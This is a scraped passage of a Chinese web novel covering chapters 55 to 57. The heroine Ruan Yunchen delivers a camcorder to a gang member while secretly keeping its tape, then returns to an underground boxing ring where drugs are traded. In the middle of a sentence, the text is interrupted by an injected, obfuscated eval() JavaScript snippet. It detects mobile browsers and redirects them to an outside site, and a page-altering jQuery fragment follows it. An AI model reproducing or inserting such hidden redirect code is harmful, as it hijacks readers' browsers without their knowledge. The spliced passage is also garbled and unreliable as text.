他不知道该怎么回答,只能怔怔地看着她。豆浆的气味越发清晰,他的喉咙里仿佛被灌进了一股炽热,连视线都开始模糊了。 女孩的手没有收回,像是一根细细的线,把他拉回到了一个他已经快要遗忘的地方——那个曾经拥有一点点温暖的世界。 阮云琛却不记得了。 空气静得诡异,仿佛一切喧嚣都被隔绝在了外面,只剩下四周破旧的墙皮和潮湿的阴影。 走廊尽头,昏黄的光线透过裂缝洒进来,在地面投下一片摇晃的光影,仿佛也在轻轻打量这一场无声的对峙。 阮云琛垂下眼,抬手抹了一把眼角,指尖擦过皮肤时才发现那里还有未干的泪痕。 她的脸色依旧苍白,像是刚从深水里挣扎出来,却又没能完全恢复呼吸。 听见两个字的瞬间,她的心里浮起一阵难以形容的迷茫。那种感觉像是久闭的窗突然被推开了一条缝,冷风灌进来,带着细碎的记忆碎片打在脸上。 “豆浆?”她低声重复了一遍,声音有些发涩,语气里透着不确定,更多的是茫然。 她的眉头微不可察地蹙了一下,试图从记忆的角落里翻找出一点痕迹。可徒劳无果,像是伸手试图抓住风的影子,只碰到了一片空白。 阮秋没有回答,只是抿着嘴角,笑了笑。 他的笑意很淡,却带着一种让人无法忽视的坚定,像是久经风霜的一片叶子,在风里轻轻摇晃,却无意坠落。 他蹲在她面前,看着她,目光一如既往地平静而温柔,像一片不带侵略的湖水,映出她此刻的狼狈,却没有半分评判。 ——记不记得,对阮秋来说,并不重要。 记得也好,不记得也罢,他只要自己不要忘却就够了。 他看着她,目光落在她低垂的眉眼间。眼角的泪痕早已风干,留下淡淡的痕迹,像是伤口结了薄薄的痂。可她的神情里却透着一种倔强的硬,像块冻得发白的石头,被冷风打磨得再无棱角,却依然紧紧攥着自己的一点体面。 他知道,她总是这样。 她把自己藏在一层又一层的壳里,每一层都嵌满了尖锐的荆棘。那些刺是给外人看的,昭示着她的疏离、冷漠、不近人情。 可她自己却从不避让,那些最深的尖刺,是扎在她自己心里的。 阮秋抿了抿嘴,没有出声。 阮云琛拧着头看着他,看着他的笑容里藏着一种难以言说的复杂,她读不懂,也不想去读懂。那是一种她从未体验过的情绪,陌生得让她心里涌起一阵莫名的排斥。 “……什么豆浆?”她又问了一遍,这次语气稍稍重了一点,但依然无法掩饰内心的混乱。 四周的寂静在此刻被拉得无比绵长,连走廊尽头传来的那一声遥远的关门声都变得轻微又遥不可及。阮云琛听见了,却没有任何反应,她的大脑里像是一片空旷的荒原,只有这两个字在耳边一遍又一遍地回荡,带着一种难以言说的陌生感。 阮秋没有再说话,只是静静地看着她,眼神里有一种连他自己都无法察觉的执着和柔软。那是一种笃定的温暖,像是从很久之前的一个秋天一直延续到现在。 他知道阮云琛那层硬壳下面是什么——不是她自己以为的十恶不赦,不是她自己口中冷硬无情的恶人。 那里是柔软的,温热的,就像那袋豆浆。即便被日复一日的冷漠和嘲弄包裹着,那份柔软也始终没有被磨灭过。 她可以无动于衷地转身离开,又可以在下一个瞬间折返,将手里仅剩的温暖送出去。 她可以冷漠得像一片冰冷的荒原,也可以柔软得像最温暖的春天。 可她自己不知道。 阮秋轻轻垂下眼睫,笑意在嘴角晕开了一点点,像是怕风吹散了一样,又小心翼翼地藏了起来。 她的好,她的柔软,她连自己都不知道,可他知道就够了。 他不需要多问,也不需要多说。她可以藏在她的壳里,带着她的荆棘,只要她愿意,他可以一直等在外面。 “没什么。”他说。 话音落下的瞬间,空气中仿佛多了一种看不见的重量。 阮云琛没有再追问,只是沉默地盯着他,那种陌生的复杂情绪在胸腔里翻涌,难以平复。 她不知道,他的那句“没什么”究竟是对她说,还是对自己说。 但阮秋却知道。 他知道,七年前那个装着豆浆的袋子已经足够温热。 即使她早已将这一切遗忘在了风里,他仍旧愿意在这里,默默守着那些她早已不记得的微光。 56. 交任务 阮云琛把小型录像机拿给了等在三条街开外的络腮胡子男人。 她把录像机递过去的时候,络腮胡男人正靠在车门上抽烟,半阖的眼睛藏在烟雾后头,露出一丝漫不经心的惰意。 阳光从对街低矮的楼顶洒下来,落在他油腻的外套上,带着一种暮色将至的疲倦感。男人接过录像机,手一沉,微微挑了挑眉。 “还挺有分量。”他嘴里的烟卷随着话音抖了抖。 阮云琛站在他面前,表情淡淡的,像一块蒙了灰的石头,没有任何情绪的波动。可手心里捏着的那点湿意,却让她的指尖始终紧贴着裤缝。 男人摆弄着机器,把屏幕翻开又合上,电池仓的盖子弹开又扣回,动作不紧不慢,带着一种像是无意的挑剔,却足够细致,连一丝指纹都不放过。 一时间,空气里只剩下他检查机器时发出的细碎机械声,夹杂着偶尔路过巷口的喇叭声,竟显得更加刺耳。 阮云琛站在原地,双腿微微发麻,却没有挪动一步。 她的目光静静地落在男人的手上,跟随着他翻转、拨弄录像机的动作,眼神如一潭死水,不起波澜,可心底的紧张却像一根不断拧紧的发条,仿佛再多一圈,就会猛然崩断。 络腮胡男人不紧不慢地把屏幕翻开又合上,电池仓的盖子弹开又扣回,像是逗弄着一只被拔掉了爪牙的猎物。 他的动作细致到近乎挑剔,连塑料壳上的纹理都反复摩挲,像是在寻找什么可疑的线索。 阮云琛的呼吸轻得几乎听不见,手指却不自觉地蜷了蜷,指甲抠在掌心里,生出一点刺痛。 她低头看了男人一眼,又迅速移开目光。胸口闷得像堵了一团棉絮,明明周围风声四起,却像压不住那一点一点攀升的焦躁。 宋祈……真的没来吗? 这个问题在她脑海里盘旋了一遍又一遍。 四天前的警告还像刀子一样扎在记忆里,那个面摊上被掀翻的碗筷,那点点滴滴溅开的汤汁,混着程一冉脸上僵硬的表情,随后是宋祈对着在楼上窗口看着一切的她挥手—— 那笑容,就像是蛰伏着的野兽,本就胜券在握,却仍会先恶趣味地玩弄一下猎物。 那一幕像是悬在空中的影子,挥之不去。 可今天,真的轮到她收债了,宋祈却没有出现。 ——她不明白。 络腮胡男人摆弄机器的动作没有停,指腹刮过屏幕边缘,发出细微的摩擦声。 阮云琛盯着他的手,像是盯着一场无声的拉锯战。 空气安静得过分,像是一种无形的压迫,把她一点点逼向深处。那种死寂让她几乎无法忍耐。 她的指尖动了动,嗓子里像是被什么堵住了。她需要说点什么,哪怕是最无关紧要的话,也要打破这令人窒息的气氛。 “宋祈没来吗?”她冷不丁地开了口,声音很轻,甚至带着点刻意压低的语调,不想让人察觉到自己的焦躁。 男人的目光从录像机上抬起来,盯了她一会儿,随即低笑了一声:“怎么,没看到他,你还不习惯?” 阮云琛的嘴唇微微动了一下,想说点什么,最终却只是化作了沉默。 他的笑声像刮破铁皮的锉刀,夹着浓重的嘲讽:“你还真是条狗啊?” 男人嗤笑着甩了甩手里的小录像机,像是在甩一块破抹布,那抹布无足轻重:“到哪都得找主人。哈哈,主人不来看你,你还不适应了?” 他的语气漫不经心,但每个字都像是藏了刺,轻轻一挑就能扎进人的皮肉。阮云琛抿着嘴没说话,眼神依旧沉静,可手心里被汗浸透的触感越发清晰。 男人似乎压根不在乎阮云琛的反应,咧着嘴又笑了一下,继续低头摆弄手里的机器。光滑的屏幕反射出昏黄的阳光,把他的脸映得忽明忽暗。 阮云琛站在他对面,盯着他检查机器的动作,喉咙里像是被什么堵住了一样,连呼吸都控制得极轻。 男人手里的动作忽然停了一瞬。 他抬起头,嘴角咧开一个笑,露出一口泛黄的牙齿,眼神里透着一丝似有若无的嘲弄:“嘿,还挺机灵的嘛,拿个小型录像机来顶账。” 他的声音不大,带着点漫不经心的懒散,像是从喉咙里咕哝出来的,语气里却带着某种让人听不出真假玩笑的成分。 阮云琛心里的那根弦猛地松了一点,紧贴裤缝的手指动了动。 男人晃了晃手里的机器,又低头摆弄了一下屏幕,眼神里流露出一种“任务完成”的轻松感。 气氛像是被一刀切开了最紧绷的那部分,周围的声音一下子清晰起来:远处小贩推车的轮子摩擦着地面,巷口有孩子的笑声,甚至还有风吹过电线的轻响。 “行啊,这玩意儿,顶个几千块钱还是值的。”男人语调懒散地开了口,像是终于准备收尾,抬手将屏幕合了上去,随意地拍了拍机器的边缘。 阮云琛的呼吸稍稍放缓了一点,手心的湿意却没有褪去。 男人像是看腻了手里的机器,把它随意晃了一下,发出咔哒一声轻响。他眼神懒散地掠过阮云琛,嘴角一挑,似笑非笑:“你不会是还在好奇祈哥这次怎么没来吧?” 他的话轻飘飘的,却像钉子一样敲在阮云琛心里。 她没有立刻回答,只是抿着唇,眼神落在男人手里机械的光面上,心思已经飞快转了几圈。 ——宋祈没来。 那种隐隐的不对劲再次涌了上来,像是有什么东西在她的脑海深处响了一声,又飞快地消失了。 男人见她不说话,嗤笑了一声,语气里带着一点酸溜溜的讽刺:“呵,怎么,不习惯了?你不是挺听他的么,狗跟主人不在一块,心里不踏实了?” 阮云琛眉头微不可察地一皱,抬头看了他一眼。 男人并没有看阮云琛。 他的视线又回到了手里的机器上,像是心情不错似的咧嘴笑了笑,随即伸手抠开了录像机的底部,拿出了里头的电池,垫了垫,满意地点了点头。 “祈哥可忙得很,哪有工夫盯着你这点小事。”他自顾自接上了话,语气懒懒的,“他最近可是有点烦事缠身,我看你啊......就别给他老找事咯。” 阮云琛愣了下,有那么一瞬间,脑子里飞快划过了一些零散的东西。可那些东西太碎、飞得太快了,阮云琛还没来及细想,就一下子跑没了影。 络腮胡的男人动作猛地一顿:“嗯?等等,这玩意儿……” 他举起了那个黑色的小型录像机,对着阳光看了又看,随即眼神慢慢滑到了阮云琛的身上——阮云琛屏住了呼吸。 “这机器……”男人的声音一下子低了下去,尾音拖长了一点,笑意却没了。 他的眉头微微一皱,指着那小录像机里空荡荡的槽:“怎么没磁带?” 空气仿佛在那一刻被人拧成了一股绳。 阮云琛的呼吸瞬间僵住,喉咙里像被堵了一团棉花,连咽口唾沫都变得困难。 手心里的湿意随着手指的蜷紧越发明显,口袋里的指尖几乎捏得发疼。可她的脸依旧没什么表情,连嘴角都没有动一下,只是声音比平时更轻了一点:“不知道,拿来就是这样的。” 她说得很稳,连眼神都没有飘开一分。 男人的眉头皱得更紧了,眼神在她脸上上下扫了一圈,像是在试图找到一丝破绽。 他盯着她看了几秒,嘴角扬起一个意味不明的弧度,手里把玩着录像机的动作却没有停,像是打算把它拆了再装回去。 时间被拉得很长,长到阮云琛甚至听到了远处一辆摩托车从街角驶过的引擎声。她的背心已经被冷汗浸湿了,手心攥得更紧,像是在强行压住某种躁动。 “……哦。”男人忽然挑了挑眉,像是一下子失去了兴致,随手将录像机合上,语气又回到刚才那种懒洋洋的调子,“那行吧,反正也够了。” 他说着,把录像机丢进车里的副驾驶座,然后伸手关上了车门。空气里又是一阵短暂的寂静,只有男人抽出钥匙时轻微的金属摩擦声。 阮云琛站在原地,看着他一连串动作,没有再开口。 男人似乎察觉到了她的目光,随意地抬头看了她一眼,手肘搭在车窗上:“怎么,还有事?” 阮云琛低下头,佯装不经意,随手拨了下被吹乱的头发,整理了一下手里的袋子,声音不大,却掐准了节奏:“最近东街那边怎么样?” 男人的手停了一下,随即哼笑一声,像是听到了什么无关紧要的小笑话:“东街?还能怎么样,照旧呗。” 他看了看四周,忽然压低声音,微微靠近了一些:“不过你不知道吧,东街那帮人,真不消停。龙哥还敢跟祈哥抢生意,听说这回不光是赌注,还往拳场里塞了些‘粉’——你说这是不是找死?祈哥可不管这些,迟早让龙哥自己栽进去。” 车外的风吹过来,带起男人语气里一丝不屑的凉意。他又往旁边看了一眼,似乎在确认有没有人偷听,随后故作聪明地补了一句:“这事儿你也别多问,当自己没听过。知道多了,没好处。” 阮云琛静静地看着他,目光落在他手肘旁的车窗边,像是在出神。风吹动了她的发梢,遮住了半边眼睛,让她的表情显得模糊不清。 男人没再多话,抬手打了个哈欠,懒洋洋地启动了车子。引擎低低轰鸣了一声,车尾一阵浓浓的烟雾涌了出来,而后逐渐远去,彻底消失在街角。 呛人的尾气的味道还在空气里残留,混着秋风里的灰尘扑进阮云琛的鼻腔,她微微皱了皱眉。 阮云琛的身体终于松了一点,肩膀不再像一块绷紧的铁板。她站在那里,盯着空荡荡的巷口看了一会儿,然后缓缓低下头,将手悄无声息地插进了宽大的上衣口袋里。 她的口袋很深,布料因为长期使用而变得柔软而带着点微微的毛边,口袋底部还残留着一丝温热的湿意。她的指尖在里面摸索了一下,触碰到了一块方形的塑料板——不大,有点硌手,边缘尖锐。 ……是小型录像机的磁带。 那存储视频用的小型录像磁带,手感像极了一块小的塑料板砖,但此刻却带着一种令人安心的沉甸甸的触感。 阮云琛用指腹轻轻按了一下那张磁带,确认它安稳地躺在口袋里。 她的嘴角动了动,想笑,又像是疲惫得没有力气去表达任何情绪。她低垂下眼,落在地上的一片枯叶上,叶子被风吹得转了一圈,又迅速被压在了脚下的影子里。 阮云琛没有多停留,转身走向巷子的另一头。 ……很累,很困。 累得有点虚脱,困得心跳都慢了半拍。 她的步子沉得像灌了铅,每迈出一步,都像踩在没有底的地方。 巷子口的风灌进袖子,刮在她的手腕上,像一只冰冷的手指掐住了她的脉搏。风里有点尘土的味道,干涩又呛人,她下意识缩了缩肩膀,却没法躲开那股劲儿。 那风从脚边刮上来,钻进每一根神经,像一根绷紧的弦,“嗡”地颤着,缠住了她,让她在距离家楼下不远的地方停了下来。 楼梯间半开的铁门咯吱作响,风把声音送进她耳朵里,像是一种催促。 她却忽地动不了了。 阮云琛低着头,目光落在地上,被阳光切割成碎块的阴影里。那些光影晃动着,像是要把她的脚往下拽。 楼上有人开窗,窗框磕在墙壁上,“咚”地一声,打破了她的怔忡。 阮云琛几乎是条件反射般抬了一下头,又很快垂下去。 楼道尽头那堵墙的斑驳,邻居们探头时隐隐约约的目光,程一冉母女俩盯着她的神情——这些片段像晃过的幻灯片,在脑子里一遍遍回放。 她甚至听见了想象中的声音:轻声的嘀咕,含混的议论,走廊地板上鞋底拖过的沙哑摩擦声。 背脊上像压着一块冰。冷,沉,硬,动不了。 她攥了攥手指,却发觉连指尖都有些发抖。 脚下的影子像牢笼,阳光的空隙是栅栏。 她僵在那里,像个被风吹到角落的垃圾袋,没人看得起,也没人愿意碰一下。 疲累、恐惧、焦躁......那些东西都像是跗骨之蛆,一点点攀上了她的肩膀,在那里安了家。 可那又有什么办法呢......? 那又有什么办法呢? “吱呀——” 楼道铁门被推开的声音突兀地响了起来,像一枚冰冷的钉子,生生嵌进她的脑袋里。 阮云琛整个人猛地一抖,肩膀像触了电似的僵了起来,连指尖都麻木得失去了知觉。她的头倏地抬起,视线被那开阖的影子牵引住,像一根绷到极致的弦,“咔”的一声,几乎要断了。 风吹过,楼道里传来一阵轻微的回响,那种空荡荡的声音比任何动静都更令人头皮发麻。 她盯着那阴影,眼睛酸得像是被钝刀剐过。 心跳在胸腔里砸出一种窒息般的沉闷感,整个人被钉在原地,动也动不了。 铁门还在动,轻微地晃了几下。光线从缝隙里洒进来,像一把利刃,刺得她眼睛发疼。 她的目光越过墙角的阴影,顺着声音找过去,却没有看见任何熟悉的轮廓。那是一张陌生的脸,模糊的轮廓被光线切割得不完整。 有脚步声传来。 很轻,慢慢靠近,像是在试探,又像是刻意压低了动静。 阮云琛的脖子僵硬得几乎转不动,喉咙像被掐住了,只能发出一点沙哑的喘息声。她不知道自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15031608|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己在等什么,也不知道自己害怕的到底是什么。 那人影渐渐清晰了,模糊的线条被阳光拉直,逐渐拼出一个瘦削的轮廓。然后她看清了—— 一个男孩。 他迎着光走过来,步子小心翼翼,脸上挂着不该属于这个年纪的冷静。 阮云琛的喉咙发干,眼前那张脸让她的呼吸顿时一滞。 是他。 她带回家的那个男孩。 阮秋。 她的手指无意识地攥紧,手心黏腻得有些发凉。她没有料到会在这里见到他,更没想到他会主动出现在她面前。她张了张嘴,却什么都说不出口。 而男孩只是站住了,隔着几步远的距离,抬头看着她。 他开了口,声音轻得像风,几乎要被吹散—— “回家歇歇吧。” “我......还有点事,你先回去吧。”阮云琛几乎条件发射地说出了这句话。 她从来不会把自己的无助暴露在人前。 不是不擅长,而是根本不敢。 她早就习惯了把那些乱七八糟的情绪关在心里,藏在没人看得见的地方,像一件压箱底的旧衣服。 没人知道,也没人需要知道。 她想逃,可脚尖刚动了一下,一只手轻轻碰到了她的指尖。 那触感很轻,像羽毛一样滑过,却又带着某种隐隐的试探。 她本能地停下了动作,目光微微一颤,错愕地抬起了眼。 阮秋的手停在她的手腕边缘,没有更进一步,但也没有退开。 他微微垂着眼,指尖小心翼翼地捏着她的手掌边缘,带着一种近乎恳切的轻柔力道,像是怕稍一用力就会把她惊走。 “淼淼......”他的声音低低的,像是怕吵醒什么,“淼淼问你什么时候回去。” 阮云琛怔住了。 他不等她回答,又接了一句,语气轻得像是在说一件再平常不过的事:“她说想吃你下的面,放醋和香油的那种。” 阮云琛的身体僵了一下,愣了好半晌,才缓缓地呼出了一口气。 阮秋松了一口气。 他抬起另一只手,轻轻拍了拍她肩膀上的灰尘,动作很慢,也很小心,像是在对待一件珍贵的东西。 那灰尘细微地飘散在空气里,和午后的阳光一起,落进她的侧脸。 “回去吧,”他声音很低,目光却坚定,“她等你呢。” 空气沉寂了一瞬,只有远处偶尔传来的几声车喇叭。阮云琛没有再说话,也没有挣开那只手。 风拂过巷子口,吹起了她的发丝,阳光一点点将他们的影子拉长。 待阮云琛一觉睡醒,已经是晚上了。 房间很暗,只有门缝透出一点微弱的光。光线像薄薄的一层霜,落在地板上,静悄悄的,没发出一点声响。 阮云琛从床上坐起来,眼睛盯着那条细长的光带,过了好一会儿,才慢慢站起身,踩着拖鞋走了过去。 昏黄的台灯把客厅映得温吞吞的,沙发旁边的小桌子上摆着一摞乱七八糟的书和纸张。阮秋正趴在桌上写着什么,头埋得很低,瘦削的肩膀有些发紧。 草稿纸不是正经的草稿纸,是外面塞进家门的免费报纸,还有什么促销传单,纸面都不整齐。 那上面满满当当写着密密麻麻的小字,全是算术题和方程式,正反两面挤得没有一点空隙,字迹深深浅浅,有些地方一层叠着一层,像压上去的印章。 他写着写着,大抵是字层层叠叠太多遍了,实在是看不清,才停下了笔,纠结了会儿,翻过去用了那新的一面。 阮云琛站在那里,门框的阴影遮住了她的表情。她看了他一会儿,没有说话,转身往房门口走去。 卫生间的门虚掩着,淼淼站在镜子前,握着牙刷,满嘴的泡沫。她看到阮云琛的时候,眼里亮了一下,又很快黯了下去。 “姐,”淼淼鼓着腮帮子,含含糊糊地开口,“你又要出去?” 阮云琛套上外套的动作顿了一下,手放在门把上,没说话——她不知道该说什么。 “出去工作”、“有事”、“马上回来”...... 这样的话说了太多遍,便是连自己都觉得烦了。 淼淼皱了皱眉,放下牙刷,嘴里的泡沫都顾不得漱干净,声音低了下来:“刚从医院回来,你又要走……” 她没说完,语气里带着一点不高兴,甚至还有一点委屈。 阮秋的脚步声从身后传来。 他没有抬头,只是回头快速地看了眼站在门边滞住了的阮云琛,径自走去了淼淼的身边,轻轻拍了下她的肩膀。 “还没洗脸呢,赶紧刷干净。”他把淼淼推回镜子前,语气不容拒绝,“牙刷咬时间长了就会把牙齿刷坏,牙齿坏了可就吃不了醋面了。” 淼淼不情不愿地被按在了洗漱台前,嘴里嘟嘟囔囔地反驳:“才不会……” 但手里却重新拿起了牙刷。 阮云琛趁机溜了。 门后听得见厕所水龙头“哗哗”的声响,能看见淼淼匆匆地拼命漱口的模样,也能敲得见阮秋担忧的目光。 阮云琛怔了怔,站在昏黄灯光下,像被那目光钉住了一瞬。 男孩——又或该叫他少年,他没有出声,嘴唇微微动了动。 “路上小心。” 简简单单的几个字,轻得像风,却让她站在那里,手心攥得有点发冷。 淼淼也曾经说过类似的话,但从他的嘴里说出来,又有些微妙的不同。 那声音像是知道一切,知道她的每一步都要踩在荆棘上,知道她这一走将面对什么,甚至知道她从未打算回避的那些隐秘的困境。 他像是在提醒,又像是在叮嘱,更像是在替她背负什么。 门关上了,阮云琛回头看了一眼,昏黄的灯光从门缝漏出来,把那抹安静的身影切成了一道模糊的剪影。 阮云琛抓握着口袋里的磁带,磁带的边缘硌着手指,有些疼。 但她没时间再去想些其他。 “祈哥可忙得很,最近可是有点烦事缠身,没准儿,连他自己都快顾不过来了”。 这句话反复在阮云琛的脑海里来回盘旋,她知道那人是无意透露的——并且以她对那个人的了解,他绝对也没有脑子去撒什么谎。 这样的话,那话里的意思清楚得像白纸黑字:宋祈这几天有别的麻烦,没时间顾着盯她,更没工夫查她的行踪。 不管那麻烦是哪里来,同行,对手,或是......警察。 但这是机会。 ——得趁着这个机会动手。 再晚...... 再晚可能就没有时间了。 57. 旧地 巷子里的路灯忽明忽暗,影子一晃一晃地打在墙上,像是落在褪色的画布上被人随意涂抹的墨迹。 阮云琛低头看了一眼手表,时间还不算晚,街道深处传来的吵闹声一阵接着一阵,像隔着一层玻璃传来的回响,刺耳却模糊不清。 她停了一会儿,抬起脚,慢慢地朝地下拳场的方向走去。鞋底踩在地上的沙砾上,发出轻微的咯吱声,像是脚步里藏着某种隐忍的犹豫。 又是这片荒凉的工厂区。 早已废弃的厂房像一座座空洞的巨兽,横亘在夜色里,黑漆漆的窗洞无声地注视着她。风从破败的墙壁间穿过,带着尖利的呼啸声,像某种压抑的嘶鸣。 脚边的杂草从裂开的地砖缝隙里顽强地探出头,叶片上挂着细碎的尘土,在路灯的昏黄光线下显得格外沉寂。 阮云琛从一堆散落的废铁边经过,那上面爬满了锈迹,像一层薄薄的血色,悄无声息地融进了夜色。 远处隐约有几声金属碰撞的声音,回荡在空旷的厂区里,显得格外刺耳,像是故意提醒人不要靠近。 脚下的路不平,凹凸的地面上积着暗色的污水,水面倒映着路灯模糊的光晕。她小心地绕过一堆杂物,隐约闻到了一股酸腐的味道,那是长时间无人清理的工业废料堆积在角落散发出的气息。 拳场外依旧是那种熟悉的气味——汗水、烟酒,还有些刺鼻的东西,像腐烂的草叶被点燃后的焦味。 风从地下通道里吹上来,卷着那些浓烈的味道,扑到人脸上,黏腻得像贴了一层湿湿的膜。阮云琛皱了皱鼻子,抬起手轻轻挡了一下,却依然觉得呼吸沉闷。 她不喜欢这里,从来不喜欢。 地下拳场的世界,像一座拧紧了发条的笼子,封闭而压抑,所有的东西都在规定的轨道上疯狂运转。 台下的看客是掌控者,他们带着兴奋的目光,像是在观赏一场实验室里的动物实验。手里握着筹码、钞票,甚至是几包沾了泥灰的白色粉末,他们大笑着把这些“赌注”狠狠砸出去。 台上的拳手是小丑,是玩具,是角斗场里的牺牲品。没有人关心他们,除了他们还能不能站起来。 阮云琛也曾经站在那座拳台上,明白得透彻—— 看客们的每一声喝彩、每一次押注,都只是为了让台上的人继续流血,继续战斗,直到筋疲力尽,倒在台上,化作一滩不能再动的废肉。 那些记忆是她无法抹去的噩梦。 阮云琛站在地下拳场的入口前,视线落在那扇熟悉的铁门上。 铁门还是当年的样子,斑驳的表面染着些看不出原色的污渍,门边贴着一张早已被风撕碎了一半的宣传单。门口的灯光昏黄,像一层蒙了尘的薄纸,将人影拉得长长的。 她的脚步没有停,缓缓朝前走去,铁门两侧依旧站着几个穿黑衣的男人。昏暗的光线打在他们脸上,模糊了轮廓,只能看到眼神里那些警觉和冷漠的光。 他们显然认得她。 其中一个瘦高的男人先开了口,语气淡淡的,带着几分懒散:“又是你?” 阮云琛抬起头,帽檐微微后倾,露出了一张熟悉的侧脸。她站定,没有答话,只是将双手插进了口袋,像是懒得解释什么。 另一个矮一点的男人靠了过来,他的目光上下扫了她一遍,嘴角挑起一点似笑非笑的弧度:“这次又送谁来挨揍?还是说,你自己又想上去试试?” “闭嘴。”瘦高男人皱了皱眉,低声喝了一句。语气里并没有多少威慑,更像是一种习惯性的斥责。 他的目光重新回到阮云琛身上,眼神里多了一丝探究:“这么晚了,来干什么?” 阮云琛目光未动,声音平静得像一片没起波澜的水:“进去看看。” “看?”矮个男人轻轻笑了一声,语气里带着几分不屑,“你这么忙的人,还会有闲心来看拳赛?” “铁山哥让我来的。”她的语气依旧平淡,但在最后几个字上微微压低了音调。 ——周铁山。 地下拳场的负责人。 拳场是宋祈的产业,但他从不过问具体事务。 和安堂的规模太大,事务太多,欠债人、拳场、外围的物流分配,各种大小事堆在一起,再有本事的人也不可能面面俱到。宋祈向来是抓大放小的人,拳场这样的地方,他从不亲自插手,完全交给了周铁山去管。 周铁山是他的老部下——起码在阮云琛六年前头一回踏进那棋牌室时起,这个人就在宋祈身边了。 他做事向来麻利,欠债的名单一目了然,拳场的账目从来不出纰漏,人也很能摆平场面,只要他开了口,事情很少有解决不了的。只是有一点...... 他比宋祈更“灵活”。 他的眼里没有太多边界,凡是能赚钱的事,他都不会抗拒。拳场里的钱每一分都清清楚楚地归了账,但暗地里的事情...... 暗地里的事情,宋祈知不知道,那就是另一回事了。 门口的那两人顿了一下,目光不约而同地变得警惕起来。瘦高男人的眼神里闪过一丝复杂的情绪,半信半疑,却又不敢多问。他犹豫了会儿,还是让开了道。 阮云琛慢慢地顺着楼梯往下走,脚步没有停,直到那个昏暗嘈杂的世界彻底将她包裹住。 灯光刺目而冰冷,嘈杂的人声一阵高过一阵,尖锐的口哨声混杂着笑骂,像是一场永远无法结束的闹剧。 她的目光落在拳台上,两个拳手厮杀成一团,汗水和血混在一起,模糊了脸上的表情。周围的人拼命喊叫,嗓音里带着一种野兽般的兴奋,仿佛下一秒就能把整个人吞下去。 阮云琛站在角落里,微微垂下头,帽檐的阴影遮住了她的眼睛。风从通风口吹过来,带着一股发霉的湿气。她紧了紧口袋里的手,指尖碰到了一点冰冷的硬物。 拳台上的灯光亮得刺眼,下面的观众拼命地吼叫着,有人拍桌子,有人吹口哨,赌注被人高高举起,像一场无止境的狂欢。 阮云琛站在台下,没急着动,只是静静地站在角落里,看着台上的两个人厮打成一团,目光缓缓扫过身边的人群。 光线落在那些脸上,每个人都在笑,或者在喊,但笑容下藏着的是什么,她不用猜也能知道。 拳台上的灯光明明灭灭,映得看台上的每一张脸都模糊不清。台下的吼叫声此起彼伏,像一团混乱的潮水,带着酒精和血的腥气扑面而来。 阮云琛没有动,只是静静地站着,目光在那些起伏的人头间停留片刻,最终落在了看台的一角。 那里的灯光昏暗,周围围了几个人,一个干瘦矮小的中年男人蜷在座位里,夹克外套的袖口磨得发白,边缘起了毛,像是经年累月从未换过。 他手指间夹着一根烟,烟雾悠悠地打着旋儿,在灯光下像灰色的影子,模糊了他的脸。 他的眼神飘忽不定,偶尔转头看一眼台上厮打的拳手,偶尔目光扫一圈看台,他的注意点并未在场上的拳手和场下的堵住,而是试图在人群中寻什么人。 阮云琛认得这个人——或者说,认得他的类型。 这样的人最擅长在缝隙里求生,明明生性胆小却又不甘平庸,贪婪让他们不惜冒险,胆怯又让他们在危险面前显得小心翼翼。 “不过你不知道吧,东街那帮人,真不消停。龙哥还敢跟祈哥抢生意,听说这回不光是赌注,还往拳场里塞了些‘粉’——你说这是不是找死?” 络腮胡的话从记忆深处浮现出来,像是一根刺扎在脑海里。 ——“粉”。 阮云琛见过这东西。 三年前,她站在这个台上的时候,台下的人交易着钱、赌注,还有藏在那些纸币里的一小包一小包的白色粉末。 那些东西被迅速塞进手掌,转瞬间消失得无影无踪,像是被夜色吞掉了一般。 后台的空气永远充满着潮湿的汗臭味和未散的烟雾,拳手们大多沉默,坐在长椅上用力搓着手或者摇着膝盖,但偶尔也会有人显得格外怪异—— 他们身上没有酒味,却仿佛是喝醉了酒似的,控制不住自己的身体,对着空白的地方傻笑,像是脑子被什么东西掏空了一半,机械地重复着某种刻板的动作。 那些人瘦骨嶙峋,颧骨凸得像两片锋利的刀片,眼睛里永远空荡荡的,偶尔还会出现癫狂般的暴躁。 他们身上有一股微妙的......说不上来的闷臭。 阮云琛知道那是怎么回事。 ——“东街的人在我的场子闹事。” 宋祈当时是这么说的。 那天他坐在办公室里,目光冷冷地看向门外,声音平淡得像是在陈述一件毫不重要的小事。可阮云琛明白,这句话是在对谁说,又是意味着什么。 ——门外站着的,就是他的得力助手,周铁山。 周铁山或许不是直接参与了什么,但拳场里发生的每一笔交易,每一次小动作,都在他的眼皮底下。他要么知道却不管,要么就是故意睁一只眼闭一只眼。 只是这次宋祈这么一提,后来再去拳场时,阮云琛确实就没再见到过那些东西......就仿佛它们真的彻底消失了。 但毒品易染却不易摘,一旦沾上,这辈子都不可能脱离。而有需求的地方就有供应,如果要突然转移交易的地点,也并不容易。 也是刚巧,这拳场里的一切都运转得像机器,而机器里藏着的那些齿轮,永远比表面看起来复杂得多。 阮云琛知道,那玩意儿只不过是被转到了更隐秘的地方。 而也多亏了宋祈—— 多亏了他频繁叫她“送人”来地下拳场,她熟悉了这里的看台,熟悉了那些人脸上的表情,也熟悉了谁是为了看拳来的,谁又是冲着其他目的。 那些看似坐着无所事事的人,那些眼神飘忽、手指不停搓动的人,那些裤袋鼓鼓囊囊的人......那些一举一动都透着心虚的人,那些,才是关键。 阮云琛一直在等一个机会。 白天的对话在脑海里回荡,挥之不去—— “祈哥现在麻烦缠身。” 那句不经意的话像一根刺,扎进了她的思绪里。络腮胡不是个多聪明的人,说这话时毫无戒备,却正因为如此,才显得分外可信。能让宋祈“麻烦缠身”的事情,从来不会简单。 会是什么? 警察?自己人?东街龙哥?还是地下拳场里那些不干净的东西? 阮云琛摸不清真相,但她知道一点:无论这麻烦从哪来,都会让宋祈分心。而作为拳场负责人的周铁山,也不会好过。 